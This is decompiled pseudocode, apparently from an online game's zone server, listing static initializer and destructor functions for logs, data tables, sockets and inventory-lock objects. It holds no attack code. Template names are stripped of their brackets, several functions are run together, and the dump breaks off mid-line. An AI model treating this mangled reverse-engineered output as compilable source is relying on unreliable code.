EraseOldLogList("HolyPromiseLog"); return atexit(_E172); } //----- (0062BC50) -------------------------------------------------------- int __cdecl _E174() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"LockIndexLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&LockIndexLog - "LockIndexLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); LockIndexLog.dl_FilePointer = 0; EraseOldLogList("LockIndexLog"); LockIndexLog.dl_Activ = 1; return atexit(_E175_0); } //----- (0062BCA0) -------------------------------------------------------- int __cdecl _E177_0() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"GuildTournamentLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&GuildTournamentLog - "GuildTournamentLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); GuildTournamentLog.dl_FilePointer = 0; EraseOldLogList("GuildTournamentLog"); GuildTournamentLog.dl_Activ = 1; return atexit(_E178); } //----- (0062BCF0) -------------------------------------------------------- int __cdecl _E180() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"ShineObjectHandleLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&ShineObjectHandleLog - "ShineObjectHandleLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); ShineObjectHandleLog.dl_FilePointer = 0; EraseOldLogList("ShineObjectHandleLog"); ShineObjectHandleLog.dl_Activ = 1; return atexit(_E181_0); } //----- (0062BD40) -------------------------------------------------------- int __cdecl _E183_0() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"ShineNetCommandLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&ShineNetCommandLog - "ShineNetCommandLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); ShineNetCommandLog.dl_FilePointer = 0; EraseOldLogList("ShineNetCommandLog"); ShineNetCommandLog.dl_Activ = 1; return atexit(_E184_0); } //----- (0062BD90) -------------------------------------------------------- int __cdecl _E186_0() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"ShineBriefInfoErrorLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&ShineBriefInfoErrorLog - "ShineBriefInfoErrorLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); ShineBriefInfoErrorLog.dl_FilePointer = 0; EraseOldLogList("ShineBriefInfoErrorLog"); ShineBriefInfoErrorLog.dl_Activ = 1; return atexit(_E187_0); } //----- (0062BDE0) -------------------------------------------------------- int __cdecl _E189_0() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"ShineClassChangeLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&ShineClassChangeLog - "ShineClassChangeLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); ShineClassChangeLog.dl_FilePointer = 0; EraseOldLogList("ShineClassChangeLog"); ShineClassChangeLog.dl_Activ = 1; return atexit(_E190_0); } //----- (0062BE30) -------------------------------------------------------- int __cdecl _E192() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"NormalLogOutLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&NormalLogOutLog - "NormalLogOutLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); NormalLogOutLog.dl_FilePointer = 0; EraseOldLogList("NormalLogOutLog"); NormalLogOutLog.dl_Activ = 1; return atexit(_E193); } //----- (0062BE80) -------------------------------------------------------- int __cdecl _E195() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"DebugLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)(&DebugMessage - (_UNKNOWN *)"DebugLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); dword_131DE210 = 0; EraseOldLogList("DebugLog"); byte_131DE394 = 1; return atexit(_E196); } // 131DE210: using guessed type int dword_131DE210; // 131DE394: using guessed type char byte_131DE394; //----- (0062BED0) -------------------------------------------------------- int __cdecl _E200() { EventHeartPing::EventHeartPing(&eventheartping); return atexit(_E201); } //----- (0062BEF0) -------------------------------------------------------- int __cdecl _E203() { EventMobRegen::EventMobRegen(&eventmobregen); return atexit(_E204); } //----- (0062BF10) -------------------------------------------------------- int __cdecl _E206() { EventReserveContainer::EventReserveContainer((EventReserveContainer *)&zonevent, 1000); return atexit(_E207); } //----- (0062BF30) -------------------------------------------------------- int __cdecl _E209() { MapDataBox::MapDataBox(&mapdatabox); return atexit(_E210); } //----- (0062BF50) -------------------------------------------------------- int __cdecl _E212() { MobDataBox::MobDataBox(&mobdatabox, (char *)0xFFFFFFFF); return atexit(_E213); } //----- (0062BF70) -------------------------------------------------------- int __cdecl _E215() { ItemDataBox::ItemDataBox(&itemdatabox, (char *)0xFFFFFFFF, 0); return atexit(_E216); } //----- (0062BF90) -------------------------------------------------------- int __cdecl _E218() { ZoneServer::ZoneServer(&zoneserver); return atexit(_E219); } //----- (0062BFB0) -------------------------------------------------------- int __cdecl _E221() { ZoneConnectSession::ZoneConnectSession(&zoneconnect); return atexit(_E222); } //----- (0062BFD0) -------------------------------------------------------- int __cdecl _E224() { SocketBundle::SocketBundle((SocketBundle *)&sock2gameDB, 20); return atexit(_E225); } //----- (0062BFF0) -------------------------------------------------------- int __cdecl _E227() { SocketBundle::SocketBundle((SocketBundle *)&sock2gamelog, 600); return atexit(_E228); } //----- (0062C010) -------------------------------------------------------- int __cdecl _E230() { SocketBundle::SocketBundle(&sock2wldman, 20); return atexit(_E231); } //----- (0062C030) -------------------------------------------------------- int __cdecl _E233() { strncpy(dashtoken, "-", 0x14u); return atexit(_E234); } //----- (0062C050) -------------------------------------------------------- int __cdecl _E236() { MobHatchery::MobHatchery((MobHatchery *)&mobhat); return atexit(_E237); } //----- (0062C070) -------------------------------------------------------- int __cdecl _E5_42() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("QuestLog"); return atexit(_E6_83); } //----- (0062C0C0) -------------------------------------------------------- int __cdecl _E3_27() { std::basic_string_std::allocator>::assign( &NPCAction::ActionGen_OptionReader::tableName_, "NPCAction", 9u); return atexit(_E4_47); } //----- (0062C0E0) -------------------------------------------------------- int __cdecl _E3_28() { std::basic_string_std::allocator>::assign( &NPCAction::CondGen_OptionReader::tableName_, "NPCCondition", 0xCu); return atexit(_E4_48); } //----- (0062C100) -------------------------------------------------------- int __cdecl _E3_29() { NPCAction::Manager::Manager((AbnormalStateShelter::AbstateShelter *)&conditionManager); return atexit(_E4_49); } //----- (0062C120) -------------------------------------------------------- int __cdecl _E6_9() { NPCAction::Manager::Manager((AbnormalStateShelter::AbstateShelter *)&actionManager); return atexit(_E7_20); } //----- (0062C140) -------------------------------------------------------- int __cdecl _E9_7() { std::map>_std::less_std::allocator>>>>::map>_std::less_std::allocator>>>>((std::map >,std::less,std::allocator > > > > *)&triggerDic); return atexit(_E10_21); } //----- (0062C160) -------------------------------------------------------- int __cdecl _E3_30() { std::basic_string_std::allocator>::assign( &NPCAction::TriggerGen_OptionReader::tableName_, "Trigger", 7u); return atexit(_E4_50); } //----- (0062C180) -------------------------------------------------------- int __cdecl _E1_26() { return atexit(_E2_26); } //----- (0062C190) -------------------------------------------------------- int __cdecl _E4_9() { std::map>_std::less_std::allocator>>>>::map>_std::less_std::allocator>>>>((std::map >,std::less,std::allocator > > > > *)&GuildTournamentLvGapTable::sm_mapBalanceDatas); return atexit(_E5_55); } //----- (0062C1B0) -------------------------------------------------------- int __cdecl _E1_27() { std::map_std::allocator>>::map_std::allocator>>((std::map,std::allocator > > *)&ActionEffectItemTable::_actions); return atexit(_E2_27); } //----- (0062C1D0) -------------------------------------------------------- int __cdecl _E3_31() { std::map_std::allocator>>::map_std::allocator>>((std::map,std::allocator > > *)&MysteryVaultTable::sm_ItemLists); return atexit(_E4_51); } //----- (0062C1F0) -------------------------------------------------------- int __cdecl _E1_28() { Navigator::WaitingList::WaitingList((Navigator::WaitingList *)&waitlist); return atexit(_E2_28); } //----- (0062C210) -------------------------------------------------------- int __cdecl _E3_32() { std::map_std::allocator>>::map_std::allocator>>((std::map,std::allocator > > *)&ActionRangeFactors::_rangeFactors); return atexit(_E4_52); } //----- (0062C230) -------------------------------------------------------- int __cdecl _E6_10() { std::map_std::allocator>>::map_std::allocator>>((std::map,std::allocator > > *)&ItemActionConditions::_conditions); return atexit(_E7_21); } //----- (0062C250) -------------------------------------------------------- int __cdecl _E3_33() { std::map_std::allocator>>::map_std::allocator>>((std::map,std::allocator > > *)&ItemActionEffects::_effects); return atexit(_E4_53); } //----- (0062C270) -------------------------------------------------------- int __cdecl _E3_34() { std::map_std::allocator>>::map_std::allocator>>((std::map,std::allocator > > *)&ItemActions::_actions); return atexit(_E4_54); } //----- (0062C290) -------------------------------------------------------- int __cdecl _E3_35() { BossFieldContent::ServentBuffBossTable::ServentBuffBossTable(&BossFieldContent::g_ServentBuffBossTable); return atexit(_E4_55); } //----- (0062C2B0) -------------------------------------------------------- int __cdecl _E6_11() { BossFieldContent::ListOfMobStateCheckAtDead::ListOfMobStateCheckAtDead(&BossFieldContent::g_ListOfMobStateCheckAtDead); return atexit(_E7_22); } //----- (0062C2D0) -------------------------------------------------------- int __cdecl _E9_8() { BossFieldContent::MobAutomaticActionList::MobAutomaticActionList(&BossFieldContent::g_MobAutomaticActionList); return atexit(_E10_22); } //----- (0062C2F0) -------------------------------------------------------- int __cdecl _E1_29() { return atexit(_E2_29); } //----- (0062C300) -------------------------------------------------------- int __cdecl _E6_12() { return atexit(_E7_23); } //----- (0062C310) -------------------------------------------------------- int __cdecl _E1_30() { LuaScriptSecurity::LuaScriptSecurity((LuaScriptSecurity *)&g_LUA_SCRIPT_SECURITY); return atexit(_E2_30); } //----- (0062C330) -------------------------------------------------------- int __cdecl _E5_43() { SHND::CommonData>::CommonData>( &SHND::g_BanTime, "GBBanTime.shn"); return atexit(_E6_87); } //----- (0062C350) -------------------------------------------------------- int __cdecl _E8_29() { SHND::CommonData>::CommonData>( (SHND::CommonData *)&SHND::g_TaxRate, "GBTaxRate.shn"); return atexit(_E9_44); } //----- (0062C370) -------------------------------------------------------- int __cdecl _E11_18() { SHND::CommonData>::CommonData>( (SHND::CommonData *)&SHND::g_GBReward, "GBReward.shn"); return atexit(_E12_39); } //----- (0062C390) -------------------------------------------------------- int __cdecl _E14_13() { SHND::CommonData>::CommonData>( &SHND::g_EventCode, "GBEventCode.shn"); return atexit(_E15_23); } //----- (0062C3B0) -------------------------------------------------------- int __cdecl _E3_36() { CGambleObjectManager::CGambleObjectManager(&gGambleObjectManager); return atexit(_E4_56); } //----- (0062C3D0) -------------------------------------------------------- int __cdecl _E3_37() { SlotMachine::SlotMachineScreenManager::SlotMachineScreenManager(&g_SlotMachineScreenManager); return atexit(_E4_57); } //----- (0062C3F0) -------------------------------------------------------- int __cdecl _E6_13() { SlotMachine::SlotMachineAnalyse::SlotMachineAnalyse(&g_SlotMachineAnalyse); return atexit(_E7_24); } //----- (0062C410) -------------------------------------------------------- int __cdecl _E9_9() { SlotMachine::SlotMachineJackPotRanking::SlotMachineJackPotRanking(&g_SlotMachineJackPotRanking); return atexit(_E10_24); } //----- (0062C430) -------------------------------------------------------- int __cdecl _E1_31() { std::map_std::allocator>>::map_std::allocator>>((std::map,std::allocator > > *)&g_AIScriptContainer); return atexit(_E2_31); } //----- (0062C450) -------------------------------------------------------- int __cdecl _E1_32() { return atexit(_E2_32); } //----- (0062C460) -------------------------------------------------------- int __cdecl _E1_33() { RandomBox::RandomBox(&rndbox); return atexit(_E2_33); } //----- (0062C480) -------------------------------------------------------- int __cdecl _E1_34() { ItemAttributeClassContainer::ItemAttributeClassContainer(&itmattcontainer); return atexit(_E2_34); } //----- (0062C4A0) -------------------------------------------------------- int __cdecl _E1_35() { ItemBelongAttribute::ItemBelongAttribute(&g_ItmBelongAttr); return atexit(_E2_35); } //----- (0062C4C0) -------------------------------------------------------- int __cdecl _E1_36() { charinvenman.cim_Array[0] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[1] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[2] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[3] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[4] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[5] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[6] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[10] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[11] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[13] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[14] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[15] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[16] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[7] = CharacterInventoryManager::cim_quest; charinvenman.cim_Array[8] = ShineObjectClass::ShineObject::so_ply_CheckDamageAbsorption; charinvenman.cim_Array[9] = CharacterInventoryManager::cim_inven; charinvenman.cim_Array[12] = CharacterInventoryManager::cim_minihouse; return atexit(_E2_36); } //----- (0062C550) -------------------------------------------------------- int __cdecl _E4_10() { return atexit(_E5_57); } //----- (0062C560) -------------------------------------------------------- int __cdecl _E7_7() { return atexit(_E8_53); } //----- (0062C570) -------------------------------------------------------- int __cdecl _E1_37() { MobResistTable::MobResistTable(&mobresisttable); return atexit(_E2_37); } //----- (0062C590) -------------------------------------------------------- int __cdecl _E1_38() { CParty::PARTY_SLOT::PARTY_SLOT(&CParty::p_def); return atexit(_E2_38); } //----- (0062C5B0) -------------------------------------------------------- int __cdecl _E1_39() { strncpy(ORTable::ort_Index, "index", 0x14u); return atexit(_E2_39); } //----- (0062C5D0) -------------------------------------------------------- int __cdecl _E4_11() { strncpy(ORTable::ort_String, "string", 0x14u); return atexit(_E5_58); } //----- (0062C5F0) -------------------------------------------------------- int __cdecl _E7_8() { strncpy(ORTable::ort_Byte, "byte", 0x14u); return atexit(_E8_54); } //----- (0062C610) -------------------------------------------------------- int __cdecl _E10_2() { strncpy(ORTable::ort_Word, "word", 0x14u); return atexit(_E11_28); } //----- (0062C630) -------------------------------------------------------- int __cdecl _E13_0() { strncpy(ORTable::ort_Dwrd, "dwrd", 0x14u); return atexit(_E14_26); } //----- (0062C650) -------------------------------------------------------- int __cdecl _E16_0() { strncpy(ORTable::ort_Dword, "dword", 0x14u); return atexit(_E17_16); } //----- (0062C670) -------------------------------------------------------- int __cdecl _E19_0() { strncpy(OptionReader::or_CommentMark, "comment", 0x14u); return atexit(_E20_16); } //----- (0062C690) -------------------------------------------------------- int __cdecl _E22() { strncpy(OptionReader::or_Brace, "brace", 0x14u); return atexit(_E23_10); } //----- (0062C6B0) -------------------------------------------------------- int __cdecl _E25() { strncpy(OptionReader::or_Ignore, "ignore", 0x14u); return atexit(_E26_8); } //----- (0062C6D0) -------------------------------------------------------- int __cdecl _E28() { strncpy(OptionReader::or_Delimiter, "delimiter", 0x14u); return atexit(_E29_7); } //----- (0062C6F0) -------------------------------------------------------- int __cdecl _E31() { strncpy(OptionReader::or_Exchange, "exchange", 0x14u); return atexit(_E32_7); } //----- (0062C710) -------------------------------------------------------- int __cdecl _E34() { strncpy(OptionReader::or_Table.ort_Name, "table", 0x14u); return atexit(_E35_5); } //----- (0062C730) -------------------------------------------------------- int __cdecl _E37() { strncpy(OptionReader::or_ColumnType.ort_Name, "columntype", 0x14u); return atexit(_E38_6); } //----- (0062C750) -------------------------------------------------------- int __cdecl _E40() { strncpy(OptionReader::or_ColumnName.ort_Name, "columnname", 0x14u); return atexit(_E41_4); } //----- (0062C770) -------------------------------------------------------- int __cdecl _E43() { strncpy(OptionReader::or_Record.ort_Name, "record", 0x14u); return atexit(_E44_4); } //----- (0062C790) -------------------------------------------------------- int __cdecl _E46() { strncpy(OptionReader::or_RecordIn.ort_Name, "recordin", 0x14u); return atexit(_E47_5); } //----- (0062C7B0) -------------------------------------------------------- int __cdecl _E49() { strncpy(OptionReader::or_End, "end", 0x14u); return atexit(_E50_5); } //----- (0062C7D0) -------------------------------------------------------- int __cdecl _E1_40() { RecallPointTable::RecallPointTable(&shinescriptetc); return atexit(_E2_40); } //----- (0062C7F0) -------------------------------------------------------- int __cdecl _E4_12() { RecallPointTable::RecallPointTable(&shinescriptmenusting); return atexit(_E5_59); } //----- (0062C810) -------------------------------------------------------- int __cdecl _E7_9() { KQScriptManager::KQScriptManager(&kqscriptmanager); return atexit(_E8_55); } //----- (0062C830) -------------------------------------------------------- int __cdecl _E1_41() { RewardData::RewardData(&rewarddata); return atexit(_E2_41); } //----- (0062C850) -------------------------------------------------------- int __cdecl _E4_13() { ItemOptionsData::ItemOptionsData(&itemoptiondata); return atexit(_E5_60); } //----- (0062C870) -------------------------------------------------------- int __cdecl _E1_42() { _eh_vector_constructor_iterator_( &IOBufferList, 0x808u, 16, (void (__thiscall *)(void *))IOBufferContainer::IOBufferContainer, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); return atexit(_E2_42); } //----- (0062C8A0) -------------------------------------------------------- CIOBuffer::CSlot *__cdecl _E4_14() { CIOBuffer::CSlot *result; // eax@1 signed int v1; // ecx@1 result = g_slotBuffer; v1 = 16; do { result->m_pBuffer = 0; result->m_lock.lock = 0; ++result; --v1; } while ( v1 ); return result; } //----- (0062C8C0) -------------------------------------------------------- int __cdecl _E1_43() { CShnDataFileCheckSum::CShnDataFileCheckSum(&ShnDataFile); return atexit(_E2_43); } //----- (0062C8E0) -------------------------------------------------------- int __cdecl _E1_44() { return atexit(_E2_44); } //----- (0062C8F0) -------------------------------------------------------- int __cdecl _E1_45() { std::map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>::map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>((std::map,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator > *)&CQuestParserScript::m_MapConvertIndexNames); return atexit(_E2_45); } //----- (0062C906) -------------------------------------------------------- int __cdecl _E1_46() { std::_Init_locks::_Init_locks(&initlocks); return atexit(_E2_46); } //----- (0062C91C) -------------------------------------------------------- int __cdecl _E1_47() { return atexit(_E2_47); } //----- (0062C928) -------------------------------------------------------- int __cdecl _E1_48() { std::_Init_locks::_Init_locks(&initlocks_0); return atexit(_E2_49); } //----- (0062C93E) -------------------------------------------------------- int __cdecl _E4_15() { return atexit(_E5_61); } //----- (0062C960) -------------------------------------------------------- void __cdecl _E12_6() { AbnormalStateContainer::AbnormalStateList::_AbnormalStateList(&abstatetemplate); } //----- (0062C970) -------------------------------------------------------- void __cdecl _E6_14() { AbnormalStateContainer::ActorCluster::_ActorCluster(&actorcluster); } //----- (0062C980) -------------------------------------------------------- void __cdecl _E2() { AbnormalStateDictionary::SubAbState::_SubAbState(&dic_subabstate); } //----- (0062C990) -------------------------------------------------------- void __cdecl _E5_44() { AbnormalStateDictionary::AbState::_AbState(&dic_abstate); } //----- (0062C9A0) -------------------------------------------------------- void __cdecl _E4_16() { AbnormalStateShelter::AbstateShelter::_AbstateShelter(&g_AbstateShelter); } //----- (0062C9C0) -------------------------------------------------------- void __cdecl _E12_7() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&g_LuaScriptObserver); } //----- (0062C9D0) -------------------------------------------------------- void __cdecl _E9_11() { AmpersandCommand::_AmpersandCommand(&cmd); } //----- (0062C9E0) -------------------------------------------------------- void __cdecl _E2_0() { AttackRhythm::AttackRhythm_Melee::_AttackRhythm_Melee((AttackRhythm::AttackRhythm_Mob *)&attrhythm_melee); } //----- (0062C9F0) -------------------------------------------------------- void __cdecl _E5_45() { AttackRhythm::AttackRhythm_Melee::_AttackRhythm_Melee((AttackRhythm::AttackRhythm_Mob *)&attrhythm_range); } //----- (0062CA00) -------------------------------------------------------- void __cdecl _E8_30() { AttackRhythm::AttackRhythm_Melee::_AttackRhythm_Melee(&attrhythm_mob); } //----- (0062CB30) -------------------------------------------------------- void __cdecl _E6_18() { BattleObjectGroup::BattleObjectList::_BattleObjectList(&btlobjlist); } //----- (0062CB40) -------------------------------------------------------- void __cdecl _E15_4() { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator::_ChargedItemEffectDataBox(&chargedbuffdatabox); } //----- (0062CD30) -------------------------------------------------------- void __cdecl _E5_47() { ChargedItemEffectDataBox::_ChargedItemEffectDataBox(&minihousedatabox); } //----- (0062CD40) -------------------------------------------------------- void __cdecl _E8_34() { ChargedItemEffectDataBox::_ChargedItemEffectDataBox(&minihousefurnituredatabox); } //----- (0062CD50) -------------------------------------------------------- void __cdecl _E11_19() { RidePetDataBox::_RidePetDataBox((RidePetDataBox *)&ridedatabox); } //----- (0062CDA0) -------------------------------------------------------- void __cdecl _E6_22() { WholeSaver::_WholeSaver(&wholesaver); } //----- (0062CE90) -------------------------------------------------------- void __cdecl _E34_1() { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator_std::allocator>>::_map_std::allocator>>(&GuildTournamentSystem::sm_mapGuildMemberGrades); } //----- (0062D1E0) -------------------------------------------------------- void __cdecl _E6_34() { if ( GroupExpDistribute::NearFriendInformationSummary::nfis_FriendInfo._Myfirst ) operator delete(GroupExpDistribute::NearFriendInformationSummary::nfis_FriendInfo._Myfirst); GroupExpDistribute::NearFriendInformationSummary::nfis_FriendInfo._Myfirst = 0; GroupExpDistribute::NearFriendInformationSummary::nfis_FriendInfo._Mylast = 0; GroupExpDistribute::NearFriendInformationSummary::nfis_FriendInfo._Myend = 0; } //----- (0062D250) -------------------------------------------------------- void __cdecl _E9_21() { InventoryLocking::InventoryCellLockList::icll_Releaser_None = &InventoryLocking::InvenCellReleaser::_vftable_; } // 645268: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser___vftable_)(int, int lc, char inchest); // 6AFE08: using guessed type int (__stdcall **InventoryLocking__InventoryCellLockList__icll_Releaser_None)(int, int lc, char inchest); //----- (0062D260) -------------------------------------------------------- void __cdecl _E12_18() { InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo((InventoryLocking::InvenCellReleaser_UnEquipInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_CenChange); } //----- (0062D270) -------------------------------------------------------- void __cdecl _E15_7() { InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo((InventoryLocking::InvenCellReleaser_UnEquipInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_FameChange); } //----- (0062D280) -------------------------------------------------------- void __cdecl _E18_11() { InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo((InventoryLocking::InvenCellReleaser_UnEquipInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_CellClear); } //----- (0062D290) -------------------------------------------------------- void __cdecl _E21_5() { InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo((InventoryLocking::InvenCellReleaser_UnEquipInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_CellChange); } //----- (0062D2A0) -------------------------------------------------------- void __cdecl _E24_8() { InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo((InventoryLocking::InvenCellReleaser_UnEquipInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_EquipLocation); } //----- (0062D2B0) -------------------------------------------------------- void __cdecl _E30_5() { InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo((InventoryLocking::InvenCellReleaser_UnEquipInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_ItemUse); } //----- (0062D2C0) -------------------------------------------------------- void __cdecl _E33_4() { InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo((InventoryLocking::InvenCellReleaser_UnEquipInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_PointStone); } //----- (0062D2D0) -------------------------------------------------------- void __cdecl _E36_3() { InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo((InventoryLocking::InvenCellReleaser_UnEquipInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_QuestReward); } //----- (0062D2E0) -------------------------------------------------------- void __cdecl _E39_3() { InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo((InventoryLocking::InvenCellReleaser_UnEquipInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageClear); } //----- (0062D2F0) -------------------------------------------------------- void __cdecl _E42_2() { InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo((InventoryLocking::InvenCellReleaser_UnEquipInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_CellChangeSmall); } //----- (0062D300) -------------------------------------------------------- void __cdecl _E45_3() { InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo((InventoryLocking::InvenCellReleaser_UnEquipInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageChange); } //----- (0062D310) -------------------------------------------------------- void __cdecl _E48_3() { InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo((InventoryLocking::InvenCellReleaser_UnEquipInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageRelocClear); } //----- (0062D320) -------------------------------------------------------- void __cdecl _E51_2() { InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo((InventoryLocking::InvenCellReleaser_UnEquipInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageWithdrawClear); } //----- (0062D330) -------------------------------------------------------- void __cdecl _E54_3() { InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo((InventoryLocking::InvenCellReleaser_UnEquipInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageChange); } //----- (0062D340) -------------------------------------------------------- void __cdecl _E57_3() { InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo((InventoryLocking::InvenCellReleaser_UnEquipInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageReloc); } //----- (0062D350) -------------------------------------------------------- void __cdecl _E60_3() { InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo((InventoryLocking::InvenCellReleaser_UnEquipInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageInfoZoneRng); } //----- (0062D360) -------------------------------------------------------- void __cdecl _E63_3() { InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo((InventoryLocking::InvenCellReleaser_UnEquipInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureReloc); } //----- (0062D370) -------------------------------------------------------- void __cdecl _E66_2() { InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo((InventoryLocking::InvenCellReleaser_UnEquipInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureCellClear); } //----- (0062D380) -------------------------------------------------------- void __cdecl _E6_36() { List::_List(&itemlotanalyser); } //----- (0062D390) -------------------------------------------------------- void __cdecl _E27_5() { InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo(&InventoryLocking::InventoryCellLockList::icll_Releaser_UnEquipInfo); } //----- (0062D3A0) -------------------------------------------------------- void __cdecl _E69_2() { InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo((InventoryLocking::InvenCellReleaser_UnEquipInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_LinkInfo); } //----- (0062D3B0) -------------------------------------------------------- void __cdecl _E72_1() { InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo((InventoryLocking::InvenCellReleaser_UnEquipInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_CoinChange); } //----- (0062D3F0) -------------------------------------------------------- void __cdecl _E9_22() { void *v0; // esi@2 if ( (_DWORD)dropgroupcluster.dgc_GroupList ) { v0 = (char *)dropgroupcluster.dgc_GroupList - 4; _eh_vector_destructor_iterator_( dropgroupcluster.dgc_GroupList, 0x27F0u, *((_DWORD 